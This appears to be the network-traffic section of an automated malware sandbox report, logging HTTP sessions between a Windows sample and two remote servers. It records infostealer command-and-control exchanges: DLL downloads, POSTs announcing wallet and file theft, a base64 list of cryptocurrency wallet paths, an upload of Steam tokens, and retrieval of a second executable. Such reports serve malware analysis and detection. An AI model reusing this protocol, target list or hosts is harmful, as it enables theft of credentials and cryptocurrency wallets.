Nov 15, 2024 09:55:41.667954922 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 15, 2024 09:55:42.383306980 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 09:55:42.667778015 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 15, 2024 09:55:43.202048063 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 09:55:43.483395100 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 15, 2024 09:55:45.457026958 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 09:55:45.752695084 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 15, 2024 09:55:46.113770008 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 09:55:46.395802021 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 15, 2024 09:55:47.231749058 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 09:55:48.011552095 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:48.097807884 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="message"wallets------JEBGIIDBKEBFBGCAEBAK--
Nov 15, 2024 09:55:48.380697012 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 15, 2024 09:55:48.391429901 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"files------HIDHIEGIIIECAKEBFBAA--
Nov 15, 2024 09:55:48.673877954 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:48.689254999 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file"------BFBGHDGCFHIDBGDGIIIE--
Nov 15, 2024 09:55:49.468085051 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:49.497750998 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"ybncbhylepme------GCBGCAFIIECBFIDHIJKF--
Nov 15, 2024 09:55:49.781451941 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 15, 2024 09:55:53.877600908 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDAAFBGDBKJJJKFIIIJJ--
Nov 15, 2024 09:55:54.665240049 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	50015	185.215.113.16	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:55:49.791538954 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 15, 2024 09:55:50.693523884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 08:55:50 GMT Content-Type: application/octet-stream Content-Length: 3218944 Last-Modified: Fri, 15 Nov 2024 07:44:09 GMT Connection: keep-alive ETag: "6736fbc9-311e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf 1@P1q1@WkH11 @.rsrcH@.idata @reekuiqa``@awjmlosa10@.taggant0 1"0@
Nov 15, 2024 09:55:50.693547964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 09:55:50.693561077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
